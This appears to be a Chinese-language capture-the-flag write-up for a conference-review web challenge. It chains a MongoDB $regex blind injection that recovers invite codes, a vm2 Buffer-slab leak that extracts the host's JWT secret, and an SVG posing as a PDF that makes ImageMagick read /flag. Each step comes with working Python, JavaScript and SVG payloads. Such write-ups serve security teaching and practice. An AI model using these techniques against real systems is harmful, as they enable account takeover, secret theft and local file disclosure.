1 2 3 4 5 6 7 8 9 10 11 if (rubric && slotQuery) { const invite = await reviewerInvites.findOne (slotQuery); matched = Boolean (invite && submittedProfileMeetsRubric (submitted, rubric)); } const sync = { status : matched ? 'matched' : 'waiting' , message : matched ? 'Committee service desk has an available assignment slot.' : 'Committee service desk has not found an assignment slot yet.' , recordId : packet ? packet.recordId : latestRecord ? latestRecord._id : null , updatedAt : now };
所以可以根据盲注的知识,来爆出全部的邀请码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 HEX = string.hexdigits.lower()[:16 ] INVITE_CODE_LENGTH = 36 def probe_invite_code (self, candidate ): remaining = INVITE_CODE_LENGTH - len (candidate) pattern = f"^{candidate} [0-9a-f]{{{remaining} }}$" self .save_reviewer_profile({"$regex" : pattern}) return self .service_sync_matches() def recover_invite_code (self ): self .save_reviewer_profile("not-yet-assigned" ) self .submit_reviewer_profile() known = "" while len (known) < INVITE_CODE_LENGTH: for ch in HEX: candidate = known + ch matched = self .probe_invite_code(candidate) print (f"[invite] {candidate:<{INVITE_CODE_LENGTH} } {matched} " , flush=True ) if matched: known = candidate break else : raise RuntimeError(f"could not recover invite code after prefix {known!r} " ) return known
拿到 Reviewer 之后,我们就可以执行 vm2 的操作了,然后 PDF 的渲染需要论文是 AC 的状态:
1 2 3 4 5 6 7 8 9 10 return render (request, reply, 'papers/view.ejs' , { paper : { ...paper, publicId : paper._id .toString ().slice (-8 ).toUpperCase () }, reviews : decoratedReviews, canSubmitForReview : isOwner && paper.status === 'Registered' , canPrepareCameraReady : isOwner && paper.status === 'Accepted' , message : request.query .registered ? 'Paper registered. Submit it for review when the PDF is ready for the PC.' : '' });
而 AC 需要管理员才能审批:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 app.get ('/admin/papers' , { preHandler : auth.requireRole ('admin' ) }, async (request, reply) => { const { papers } = collections (); const rows = await papers.find ({}).sort ({ createdAt : -1 }).toArray (); return render (request, reply, 'admin/list.ejs' , { papers : await decoratePaperRows (rows) }); }); app.get ('/admin/papers/:id/status' , { preHandler : auth.requireRole ('admin' ) }, async (request, reply) => { const paper = await paperWithOwner (request.params .id ); if (!paper) return reply.code (404 ).send ('Not found' ); return render (request, reply, 'admin/editStatus.ejs' , { paper, statuses : config.decisionStatuses }); }); app.post ('/admin/papers/:id/status' , { preHandler : auth.requireRole ('admin' ) }, async (request, reply) => { const { papers } = collections (); const paperId = asObjectId (request.params .id ); const status = config.decisionStatuses .includes (request.body .status ) ? request.body .status : 'Rejected' ; if (paperId) { await papers.updateOne ({ _id : paperId }, { $set : { status, decidedAt : new Date (), decidedBy : request.user .username } }); } return reply.redirect ('/admin/papers' ); });
所以下一步就需要获取管理员权限
我们在前面不难知道,程序会校验 JWT,但是 JWT_SECRET 是随机生成的:
1 2 jwtSecret : process.env .JWT_SECRET || `aaa26_${crypto.randomBytes(24 ).toString('hex' )} ` ,adminPassword : process.env .ADMIN_PASSWORD || crypto.randomBytes (16 ).toString ('hex' ),
所以我们有没有可能尝试爆出这个 Secret 或者是 Password?
Buffer.from(arrayBuffer) 不复制数据,而是创建一个共享底层内存的 view;如果传入的是某个 TypedArray / Buffer 的 .buffer,新的 Buffer 可能覆盖比原 view 更大的底层 ArrayBuffer 范围
比如说:
1 const slab = Buffer .from (Buffer .from ("x" ).buffer ).toString ("latin1" );
首先 Buffer.from("x") 只有一个字节,但是 Buffer.from(Buffer.from("x").buffer) 会重新包装 ArrayBuffer,于是长度变成了 8192,再加上 vm2 内与 host 共享的 Buffer slab,就可以泄露出原 host 里的 JWT Secret,但是哪里可以执行这样的 slab ?
1 2 3 4 5 6 7 async function filterReviewerDocuments (app, request, expression ) { const token = getBearerOrCookie (request); const docs = await reviewerDocuments (request.user ); const verified = await app.jwt .verify (token); if (!verified || verified.id !== request.user .id || verified.role !== request.user .role ) { throw new Error ('invalid token' ); }
这里进行了一个 verify 的校验,而 fastify/jwt 中 verify 的源码提到:
1 2 3 4 5 6 7 8 9 if (typeof currentKey === 'string' ) { currentKey = Buffer .from (currentKey, 'utf-8' ) } else if (!(currentKey instanceof Buffer )) { ... } const availableAlgorithms = detectPublicKeyAlgorithms (currentKey)currentKey = prepareKeyOrSecret (currentKey, availableAlgorithms[0 ] === hsAlgorithms[0 ]) verifyToken (currentKey, decoded, validationContext)
这是实际 secret 进入 Buffer 的地方,再加上 JWT Secret 有明显的特征,可以构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 SECRET_PREFIX = "aaa26_" SECRET_LENGTH = len (SECRET_PREFIX) + 48 def js_string_from_char_codes (value ): return "String.fromCharCode({})" .format ("," .join(str (ord (ch)) for ch in value)) def secret_probe_expression (candidate ): remaining = SECRET_LENGTH - len (candidate) return f""" (() => {{ const slab = Buffer.from(Buffer.from("x").buffer).toString("latin1"); const prefix = {js_string_from_char_codes(candidate)} ; const rx = new RegExp(prefix + "[0-9a-f]{{{remaining} }}"); return rx.test(slab); }})() """
最后就是用 PDF 进行攻击了
imagemagick.org/include/command-line-processing.php
虽然你上传的是 PDF,但是因为 ImageMagick 会先识别里面的 signature,所以最终也不是按照 PDF 解析
1 2 3 4 5 6 7 <svg width ="480" height ="150" > <rect width ="480" height ="150" fill ="white" /> <svg x ="0" y ="38" width ="480" height ="112" viewBox ="20 24 560 70" preserveAspectRatio ="xMinYMin meet" > <image href ="text:/flag" xlink:href ="text:/flag" x ="0" y ="0" width ="612" height ="792" /> </svg > <text x ="18" y ="30" font-size ="18" fill ="black" > AAA'26 Big-1 Camera Ready</text > </svg >
比如你上传一个 SVG,利用里面的 text:/flag 进行读取
最后能切出类似的效果,源码看一下就可以看完整了:
RealDLsite 11
TINJ 11